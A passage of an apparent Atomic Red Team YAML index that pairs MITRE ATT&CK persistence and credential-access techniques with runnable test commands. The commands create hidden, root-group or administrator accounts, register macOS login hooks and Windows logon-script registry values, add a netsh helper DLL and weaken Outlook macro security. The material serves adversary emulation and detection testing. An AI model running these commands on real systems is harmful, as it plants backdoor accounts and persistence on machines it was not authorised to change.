        when a user account is created on a Windows system. (Citation: Microsoft User
        Creation Event) Perform regular audits of local system accounts to detect
        suspicious accounts that may have been created by an adversary.'
      x_mitre_permissions_required:
      - Administrator
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1136.001
    atomic_tests:
    - name: Create a user account on a Linux system
      auto_generated_guid: 40d8eabd-e394-46f6-8785-b9bfa1d011d2
      description: 'Create a user via useradd

'
      supported_platforms:
      - linux
      input_arguments:
        username:
          description: Username of the user to create
          type: String
          default: evil_user
      executor:
        command: 'useradd -M -N -r -s /bin/bash -c evil_account #{username}

'
        cleanup_command: 'userdel #{username}

'
        name: bash
        elevation_required: true
    - name: Create a user account on a MacOS system
      auto_generated_guid: '01993ba5-1da3-4e15-a719-b690d4f0f0b2'
      description: 'Creates a user on a MacOS system with dscl

'
      supported_platforms:
      - macos
      input_arguments:
        username:
          description: Username of the user to create
          type: String
          default: evil_user
        realname:
          description: "'realname' to record when creating the user"
          type: String
          default: Evil Account
      executor:
        command: |
          dscl . -create /Users/#{username}
          dscl . -create /Users/#{username} UserShell /bin/zsh
          dscl . -create /Users/#{username} RealName "#{realname}"
          dscl . -create /Users/#{username} UniqueID "1010"
          dscl . -create /Users/#{username} PrimaryGroupID 80
          dscl . -create /Users/#{username} NFSHomeDirectory /Users/#{username}
        cleanup_command: 'dscl . -delete /Users/#{username}

'
        name: bash
        elevation_required: true
    - name: Create a new user in a command prompt
      auto_generated_guid: 6657864e-0323-4206-9344-ac9cd7265a4f
      description: |
        Creates a new user in a command prompt. Upon execution, "The command completed successfully." will be displayed. To verify the
        new account, run "net user" in powershell or CMD and observe that there is a new user named "T1136.001_CMD"
      supported_platforms:
      - windows
      input_arguments:
        username:
          description: Username of the user to create
          type: String
          default: T1136.001_CMD
        password:
          description: Password of the user to create
          type: String
          default: T1136.001_CMD!
      executor:
        command: 'net user /add "#{username}" "#{password}"

'
        cleanup_command: 'net user /del "#{username}" >nul 2>&1

'
        name: command_prompt
        elevation_required: true
    - name: Create a new user in PowerShell
      auto_generated_guid: bc8be0ac-475c-4fbf-9b1d-9fffd77afbde
      description: |
        Creates a new user in PowerShell. Upon execution, details about the new account will be displayed in the powershell session. To verify the
        new account, run "net user" in powershell or CMD and observe that there is a new user named "T1136.001_PowerShell"
      supported_platforms:
      - windows
      input_arguments:
        username:
          description: Username of the user to create
          type: String
          default: T1136.001_PowerShell
      executor:
        command: 'New-LocalUser -Name "#{username}" -NoPassword

'
        cleanup_command: 'Remove-LocalUser -Name "#{username}" -ErrorAction Ignore

'
        name: powershell
        elevation_required: true
    - name: Create a new user in Linux with `root` UID and GID.
      auto_generated_guid: a1040a30-d28b-4eda-bd99-bb2861a4616c
      description: 'Creates a new user in Linux and adds the user to the `root` group.
        This technique was used by adversaries during the Butter attack campaign.

'
      supported_platforms:
      - linux
      input_arguments:
        username:
          description: Username of the user to create
          type: String
          default: butter
        password:
          description: Password of the user to create
          type: String
          default: BetterWithButter
      executor:
        command: |
          useradd -g 0 -M -d /root -s /bin/bash #{username}
          if [ $(cat /etc/os-release | grep -i 'Name="ubuntu"') ]; then echo "#{username}:#{password}" | sudo chpasswd; else echo "#{password}" | passwd --stdin #{username}; fi;
        cleanup_command: 'userdel #{username}

'
        name: bash
        elevation_required: true
    - name: Create a new Windows admin user
      auto_generated_guid: fda74566-a604-4581-a4cc-fbbe21d66559
      description: 'Creates a new admin user in a command prompt.

'
      supported_platforms:
      - windows
      input_arguments:
        username:
          description: Username of the user to create
          type: String
          default: T1136.001_Admin
        password:
          description: Password of the user to create
          type: String
          default: T1136_pass
      executor:
        command: |
          net user /add "#{username}" "#{password}"
          net localgroup administrators "#{username}" /add
        cleanup_command: 'net user /del "#{username}" >nul 2>&1

'
        name: command_prompt
        elevation_required: true
  T1078.003:
    technique:
      id: attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2
      description: "Adversaries may obtain and abuse credentials of a local account
        as a means of gaining Initial Access, Persistence, Privilege Escalation, or
        Defense Evasion. Local accounts are those configured by an organization for
        use by users, remote support, services, or for administration on a single
        system or service.\n\nLocal Accounts may also be abused to elevate privileges
        and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).
        Password reuse may allow the abuse of local accounts across a set of machines
        on a network for the purposes of Privilege Escalation and Lateral Movement. "
      name: Local Accounts
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1078.003
        url: https://attack.mitre.org/techniques/T1078/003
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      modified: '2021-04-05T12:51:00.663Z'
      created: '2020-03-13T20:26:46.695Z'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Containers
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Creation'
      x_mitre_detection: Perform regular audits of local system accounts to detect
        accounts that may have been created by an adversary for persistence. Look
        for suspicious account behavior, such as accounts logged in at odd times or
        outside of business hours.
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      identifier: T1078.003
    atomic_tests:
    - name: Create local account with admin privileges
      auto_generated_guid: a524ce99-86de-4db6-b4f9-e08f35a47a15
      description: After execution the new account will be active and added to the
        Administrators group
      supported_platforms:
      - windows
      executor:
        command: |-
          net user art-test /add
          net user art-test Password123!
          net localgroup administrators art-test /add
        cleanup_command: |-
          net localgroup administrators art-test /delete >nul 2>&1
          net user art-test /delete >nul 2>&1
        name: command_prompt
        elevation_required: true
  T1037.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1037.002
        url: https://attack.mitre.org/techniques/T1037/002
      - url: https://support.apple.com/de-at/HT2420
        description: 'Apple. (2011, June 1). Mac OS X: Creating a login hook. Retrieved
          July 17, 2017.'
        source_name: creating login hook
      - source_name: S1 macOs Persistence
        url: https://www.sentinelone.com/blog/how-malware-persists-on-macos/
        description: Stokes, P. (2019, July 17). How Malware Persists on macOS. Retrieved
          March 27, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Logon Script (Mac)
      description: "Adversaries may use macOS logon scripts automatically executed
        at logon initialization to establish persistence. macOS allows logon scripts
        (known as login hooks) to be executed whenever a specific user logs into a
        system. A login hook tells Mac OS X to execute a certain script when a user
        logs in, but unlike [Startup Items](https://attack.mitre.org/techniques/T1037/005),
        a login hook executes as the elevated root user.(Citation: creating login
        hook)\n\nAdversaries may use these login hooks to maintain persistence on
        a single system.(Citation: S1 macOs Persistence) Access to login hook scripts
        may allow an adversary to insert additional malicious code. There can only
        be one login hook at a time though and depending on the access configuration
        of the hooks, either local credentials or an administrator account may be
        necessary. "
      id: attack-pattern--43ba2b05-cf72-4b6c-8243-03a4aba41ee0
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-03-27T16:49:15.786Z'
      created: '2020-01-10T16:01:15.995Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_detection: Monitor logon scripts for unusual access by abnormal users
        or at abnormal times. Look for files added or modified by unusual accounts
        outside of normal administration duties. Monitor running process for actions
        that could be indicative of abnormal programs or executables running upon
        logon.
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_platforms:
      - macOS
      identifier: T1037.002
    atomic_tests:
    - name: Logon Scripts - Mac
      auto_generated_guid: f047c7de-a2d9-406e-a62b-12a09d9516f4
      description: 'Mac logon script

'
      supported_platforms:
      - macos
      executor:
        steps: "1. Create the required plist file\n\n    sudo touch /private/var/root/Library/Preferences/com.apple.loginwindow.plist\n\n2.
          Populate the plist with the location of your shell script\n\n    sudo defaults
          write com.apple.loginwindow LoginHook /Library/Scripts/AtomicRedTeam.sh\n\n3.
          Create the required plist file in the target user's Preferences directory\n\n\t
          \ touch /Users/$USER/Library/Preferences/com.apple.loginwindow.plist\n\n4.
          Populate the plist with the location of your shell script\n\n\t  defaults
          write com.apple.loginwindow LoginHook /Library/Scripts/AtomicRedTeam.sh\n"
        name: manual
  T1037.001:
    technique:
      id: attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3
      description: "Adversaries may use Windows logon scripts automatically executed
        at logon initialization to establish persistence. Windows allows logon scripts
        to be run whenever a specific user or group of users log into a system.(Citation:
        TechNet Logon Scripts) This is done via adding a path to a script to the <code>HKCU\\Environment\\UserInitMprLogonScript</code>
        Registry key.(Citation: Hexacorn Logon Scripts)\n\nAdversaries may use these
        scripts to maintain persistence on a single system. Depending on the access
        configuration of the logon scripts, either local credentials or an administrator
        account may be necessary. "
      name: Logon Script (Windows)
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1037.001
        url: https://attack.mitre.org/techniques/T1037/001
      - url: https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx
        description: Microsoft. (2005, January 21). Creating logon scripts. Retrieved
          April 27, 2016.
        source_name: TechNet Logon Scripts
      - source_name: Hexacorn Logon Scripts
        url: http://www.hexacorn.com/blog/2014/11/14/beyond-good-ol-run-key-part-18/
        description: Hexacorn. (2014, November 14). Beyond good ol’ Run key, Part
          18. Retrieved November 15, 2019.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-03-24T23:45:03.153Z'
      created: '2020-01-10T03:43:37.211Z'
      x_mitre_platforms:
      - Windows
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_detection: |-
        Monitor for changes to Registry values associated with Windows logon scrips, nameley <code>HKCU\Environment\UserInitMprLogonScript</code>.

        Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1037.001
    atomic_tests:
    - name: Logon Scripts
      auto_generated_guid: d6042746-07d4-4c92-9ad8-e644c114a231
      description: |
        Adds a registry value to run batch script created in the %temp% directory. Upon execution, there will be a new environment variable in the HKCU\Environment key
        that can be viewed in the Registry Editor.
      supported_platforms:
      - windows
      input_arguments:
        script_path:
          description: Path to .bat file
          type: String
          default: "%temp%\\art.bat"
        script_command:
          description: Command To Execute
          type: String
          default: echo Art "Logon Script" atomic test was successful. >> %USERPROFILE%\desktop\T1037.001-log.txt
      executor:
        command: |
          echo "#{script_command}" > #{script_path}
          REG.exe ADD HKCU\Environment /v UserInitMprLogonScript /t REG_SZ /d "#{script_path}" /f
        cleanup_command: |
          REG.exe DELETE HKCU\Environment /v UserInitMprLogonScript /f >nul 2>&1
          del #{script_path} >nul 2>&1
          del "%USERPROFILE%\desktop\T1037.001-log.txt" >nul 2>&1
        name: command_prompt
  T1556:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1556
        url: https://attack.mitre.org/techniques/T1556
      - url: https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/
        description: Bialek, J. (2013, September 15). Intercepting Password Changes
          With Function Hooking. Retrieved November 21, 2017.
        source_name: Clymb3r Function Hook Passwords Sept 2013
      - source_name: Dell Skeleton
        description: Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis.
          Retrieved April 8, 2019.
        url: https://www.secureworks.com/research/skeleton-key-malware-analysis
      - source_name: Xorrior Authorization Plugins
        url: https://xorrior.com/persistent-credential-theft/
        description: Chris Ross. (2018, October 17). Persistent Credential Theft with
          Authorization Plugins. Retrieved April 22, 2021.
      - url: https://technet.microsoft.com/en-us/library/dn487457.aspx
        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
          June 3, 2016.
        source_name: TechNet Audit Policy
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Modify Authentication Process
      description: |-
        Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).

        Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.
      id: attack-pattern--f4c1826f-a322-41cd-9557-562100848c84
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2021-04-26T20:08:31.712Z'
      created: '2020-02-11T19:01:56.887Z'
      x_mitre_contributors:
      - Chris Ross @xorrior
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'Process: OS API Execution'
      - 'Process: Process Access'
      - 'File: File Modification'
      - 'File: File Creation'
      - 'Module: Module Load'
      - 'Windows Registry: Windows Registry Key Modification'
      x_mitre_detection: "Monitor for new, unfamiliar DLL files written to a domain
        controller and/or local computer. Monitor for changes to Registry entries
        for password filters (ex: <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification
        Packages</code>) and correlate then investigate the DLL files these files
        reference. \n\nPassword filters will also show up as an autorun and loaded
        DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)\n\nMonitor
        for calls to <code>OpenProcess</code> that can be used to manipulate lsass.exe
        running on a domain controller as well as for malicious modifications to functions
        exported from authentication-related system DLLs (such as cryptdll.dll and
        samsrv.dll).(Citation: Dell Skeleton) \n\nMonitor PAM configuration and module
        paths (ex: <code>/etc/pam.d/</code>) for changes. Use system-integrity tools
        such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nMonitor
        for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation:
        Xorrior Authorization Plugins)\n\nConfigure robust, consistent account activity
        audit policies across the enterprise and with externally accessible services.
        (Citation: TechNet Audit Policy) Look for suspicious account behavior across
        systems that share accounts, either user, admin, or service accounts. Examples:
        one account logged into multiple systems simultaneously; multiple accounts
        logged into the same machine simultaneously; accounts logged in at odd times
        or outside of business hours. Activity may be from interactive login sessions
        or process ownership from accounts being used to execute binaries on a remote
        system as a particular account. Correlate other security systems with login
        information (e.g., a user has an active login session but has not entered
        the building or does not have VPN access)."
      x_mitre_version: '2.0'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      - Network
    atomic_tests: []
  T1546.007:
    technique:
      created: '2020-01-24T14:26:51.207Z'
      modified: '2020-03-24T18:28:07.793Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      type: attack-pattern
      id: attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed
      description: |-
        Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\SOFTWARE\Microsoft\Netsh</code>.

        Adversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality. (Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)
      name: Netsh Helper DLL
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1546.007
        url: https://attack.mitre.org/techniques/T1546/007
      - url: https://technet.microsoft.com/library/bb490939.aspx
        description: Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.
        source_name: TechNet Netsh
      - url: https://github.com/outflankbv/NetshHelperBeacon
        description: Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved
          February 13, 2017.
        source_name: Github Netsh Helper CS Beacon
      - url: https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html
        description: Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL
          DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017.
        source_name: Demaske Netsh Persistence
      x_mitre_platforms:
      - Windows
      x_mitre_contributors:
      - Matthew Demaske, Adaptforward
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      - 'Module: Module Load'
      x_mitre_detection: 'It is likely unusual for netsh.exe to have any child processes
        in most environments. Monitor process executions and investigate any child
        processes spawned by netsh.exe for malicious behavior. Monitor the <code>HKLM\SOFTWARE\Microsoft\Netsh</code>
        registry key for any new or suspicious entries that do not correlate with
        known system files or benign software. (Citation: Demaske Netsh Persistence)'
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1546.007
    atomic_tests:
    - name: Netsh Helper DLL Registration
      auto_generated_guid: 3244697d-5a3a-4dfc-941c-550f69f91a4d
      description: 'Netsh interacts with other operating system components using dynamic-link
        library (DLL) files

'
      supported_platforms:
      - windows
      input_arguments:
        helper_file:
          description: Path to DLL
          type: Path
          default: C:\Path\file.dll
      executor:
        command: 'netsh.exe add helper #{helper_file}

'
        name: command_prompt
  T1556.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1556.004
        url: https://attack.mitre.org/techniques/T1556/004
      - source_name: FireEye - Synful Knock
        url: https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html
        description: Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful
          Knock - A Cisco router implant - Part I. Retrieved October 19, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Image File Verification
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#7
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
          IOS Image File Verification. Retrieved October 19, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#13
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
          IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      description: |-
        Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.

        [Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password.  The modification includes a specific password which is implanted in the operating system image via the patch.  Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: FireEye - Synful Knock)
      name: Network Device Authentication
      id: attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2021-04-20T20:11:00.356Z'
      created: '2020-10-19T17:58:04.155Z'
      x_mitre_version: '2.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: |-
        Consider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)

        Detection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601).
      x_mitre_data_sources:
      - 'File: File Modification'
      x_mitre_platforms:
      - Network
    atomic_tests: []
  T1037.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1037.003
        url: https://attack.mitre.org/techniques/T1037/003
      - source_name: Petri Logon Script AD
        url: https://www.petri.com/setting-up-logon-script-through-active-directory-users-computers-windows-server-2008
        description: Daniel Petri. (2009, January 8). Setting up a Logon Script through
          Active Directory Users and Computers in Windows Server 2008. Retrieved November
          15, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Network Logon Script
      description: "Adversaries may use network logon scripts automatically executed
        at logon initialization to establish persistence. Network logon scripts can
        be assigned using Active Directory or Group Policy Objects.(Citation: Petri
        Logon Script AD) These logon scripts run with the privileges of the user they
        are assigned to. Depending on the systems within the network, initializing
        one of these scripts could apply to more than one or potentially all systems.
        \ \n \nAdversaries may use these scripts to maintain persistence on a network.
        Depending on the access configuration of the logon scripts, either local credentials
        or an administrator account may be necessary."
      id: attack-pattern--c63a348e-ffc2-486a-b9d9-d7f11ec54d99
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-03-24T23:45:25.625Z'
      created: '2020-01-10T18:01:03.666Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_detection: Monitor logon scripts for unusual access by abnormal users
        or at abnormal times. Look for files added or modified by unusual accounts
        outside of normal administration duties. Monitor running process for actions
        that could be indicative of abnormal programs or executables running upon
        logon.
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Active Directory: Active Directory Object Modification'
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1137:
    technique:
      created: '2017-12-14T16:46:06.044Z'
      modified: '2020-06-25T17:48:09.417Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      type: attack-pattern
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1137
        url: https://attack.mitre.org/techniques/T1137
      - source_name: SensePost Ruler GitHub
        url: https://github.com/sensepost/ruler
        description: 'SensePost. (2016, August 18). Ruler: A tool to abuse Exchange
          services. Retrieved February 4, 2019.'
      - source_name: TechNet O365 Outlook Rules
        url: https://blogs.technet.microsoft.com/office365security/defending-against-rules-and-forms-injection/
        description: Koeller, B.. (2018, February 21). Defending Against Rules and
          Forms Injection. Retrieved November 5, 2019.
      - source_name: CrowdStrike Outlook Forms
        url: https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746
        description: Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral
          Movement and Persistence. Retrieved February 5, 2019.
      - source_name: Outlook Today Home Page
        url: https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943
        description: Soutcast. (2018, September 14). Outlook Today Homepage Persistence.
          Retrieved February 5, 2019.
      - source_name: Microsoft Detect Outlook Forms
        url: https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack
        description: Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook
          Rules and Custom Forms Injections Attacks in Office 365. Retrieved February
          4, 2019.
      - source_name: SensePost NotRuler
        url: https://github.com/sensepost/notruler
        description: SensePost. (2017, September 21). NotRuler - The opposite of Ruler,
          provides blue teams with the ability to detect Ruler usage against Exchange.
          Retrieved February 4, 2019.
      description: |-
        Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.

        A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)
      name: Office Application Startup
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53
      x_mitre_is_subtechnique: false
      x_mitre_version: '1.2'
      x_mitre_contributors:
      - Nick Carr, FireEye
      - Microsoft Threat Intelligence Center (MSTIC)
      - Sahar Shukrun
      - Praetorian
      - Loic Jaquemet
      - Ricardo Dias
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Module: Module Load'
      - 'Application Log: Application Log Content'
      x_mitre_detection: |-
        Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.

        Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page)

        Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_platforms:
      - Windows
      - Office 365
      identifier: T1137
    atomic_tests:
    - name: Office Application Startup - Outlook as a C2
      auto_generated_guid: bfe6ac15-c50b-4c4f-a186-0fc6b8ba936c
      description: "As outlined in MDSEC's Blog post https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/
        \nit is possible to use Outlook Macro as a way to achieve persistance and
        execute arbitrary commands. This transform Outlook into a C2.\nToo achieve
        this two things must happened on the syste\n- The macro security registry
        value must be set to '4'\n- A file called VbaProject.OTM must be created in
        the Outlook Folder.\n"
      supported_platforms:
      - windows
      executor:
        command: |
          reg add "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security\Level" /t REG_DWORD /d 1 /f
          mkdir  %APPDATA%\Microsoft\Outlook\ >nul 2>&1
          echo "Atomic Red Team TEST" > %APPDATA%\Microsoft\Outlook\VbaProject.OTM
        cleanup_command: |
          reg delete "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security\Level" /f >nul 2>&1
          del %APPDATA%\Microsoft\Outlook\VbaProject.OTM >nul 2>&1
        name: command_prompt
  T1137.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1137.001
        url: https://attack.mitre.org/techniques/T1137/001
      - url: https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea
        description: Microsoft. (n.d.). Change the Normal template (Normal.dotm).
          Retrieved July 3, 2017.
        source_name: Microsoft Change Normal Template
      - url: https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office
        description: Austin, J. (2017, June 6). Getting Started with VBA in Office.
          Retrieved July 3, 2017.
        source_name: MSDN VBA in Office
      - url: https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/
        description: Nelson, M. (2014, January 23). Maintaining Access with normal.dotm.
          Retrieved July 3, 2017.
        source_name: enigma0x3 normal.dotm
      - url: http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/
        description: Hexacorn. (2017, April 17). Beyond good ol’ Run key, Part 62.
          Retrieved July 3, 2017.
        source_name: Hexacorn Office Template Macros
      - source_name: GlobalDotName Jun 2019
        url: https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique
        description: Shukrun, S. (2019, June 2). Office Templates and GlobalDotName
          - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.
      - source_name: CrowdStrike Outlook Forms
        url: https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746
        description: Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral
          Movement and Persistence. Retrieved February 5, 2019.
      - source_name: Outlook Today Home Page
        url: https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943
        description: Soutcast. (2018, September 14). Outlook Today Homepage Persistence.
          Retrieved February 5, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
